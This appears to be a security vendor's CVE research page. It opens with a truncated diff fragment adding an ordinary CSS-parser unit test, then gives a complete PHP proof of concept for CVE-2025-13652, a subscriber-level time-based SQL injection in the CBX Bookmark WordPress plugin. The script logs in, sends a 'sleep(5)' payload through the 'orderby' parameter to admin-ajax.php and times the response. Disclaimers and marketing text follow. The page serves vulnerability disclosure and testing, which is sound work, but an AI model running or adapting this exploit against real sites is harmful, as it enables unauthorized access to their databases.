--- a/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/Functional/RuleSet/DeclarationBlockTest.php
+++ b/cbxwpbookmark/vendor/sabberworm/php-css-parser/tests/Functional/RuleSet/DeclarationBlockTest.php
@@ -0,0 +1,35 @@
+<?php
+
+declare (strict_types=1);
+namespace CBXWPBookmarkScopedSabberwormCSSTestsFunctionalRuleSet;
+
+use PHPUnitFrameworkTestCase;
+use CBXWPBookmarkScopedSabberwormCSSOutputFormat;
+use CBXWPBookmarkScopedSabberwormCSSPropertySelector;
+use CBXWPBookmarkScopedSabberwormCSSRuleRule;
+use CBXWPBookmarkScopedSabberwormCSSRuleSetDeclarationBlock;
+/**
+ * @covers SabberwormCSSRuleSetDeclarationBlock
+ */
+final class DeclarationBlockTest extends TestCase
+{
+    /**
+     * @test
+     */
+    public function rendersRulesInOrderProvided()
+    {
+        $declarationBlock = new DeclarationBlock();
+        $declarationBlock->setSelectors([new Selector('.test')]);
+        $rule1 = new Rule('background-color');
+        $rule1->setValue('transparent');
+        $declarationBlock->addRule($rule1);
+        $rule2 = new Rule('background');
+        $rule2->setValue('#222');
+        $declarationBlock->a

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13652 - CBX Bookmark & Favorite <= 2.0.4 - Authenticated (Subscriber+) SQL Injection via `orderby` Parameter

<?php
/**
 * Proof of Concept for CVE-2025-13652
 * Requires valid WordPress subscriber credentials
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Get login nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

preg_match('/name="log"[^>]+value="([^"]*)"/', $login_page, $log_match);
$log_nonce = $log_match[1] ?? '';

// Step 2: Authenticate
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$login_response = curl_exec($ch);

// Step 3: Extract AJAX nonce (if required)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=cbxwpbookmark_public_user_bookmarks');
curl_setopt($ch, CURLOPT_POST, false);
$ajax_test = curl_exec($ch);

// Step 4: Exploit SQL injection via orderby parameter
$exploit_payload = [
    'action' => 'cbxwpbookmark_public_user_bookmarks',
    'orderby' => 'id,(SELECT CASE WHEN (1=1) THEN id ELSE sleep(5) END)',
    'limit' => '10',
    'offset' => '0',
    'userid' => '1',
    'order' => 'DESC'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_payload));

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);

$elapsed = $end_time - $start_time;
echo "Time-based SQL Injection Test:n";
echo "Response time: " . round($elapsed, 2) . " secondsn";

if ($elapsed > 4.5) {
    echo "VULNERABLE: Time delay detected, SQL injection successfuln";
    echo "Response preview: " . substr($response, 0, 200) . "...n";
} else {
    echo "PATCHED or NOT VULNERABLE: No significant time delayn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School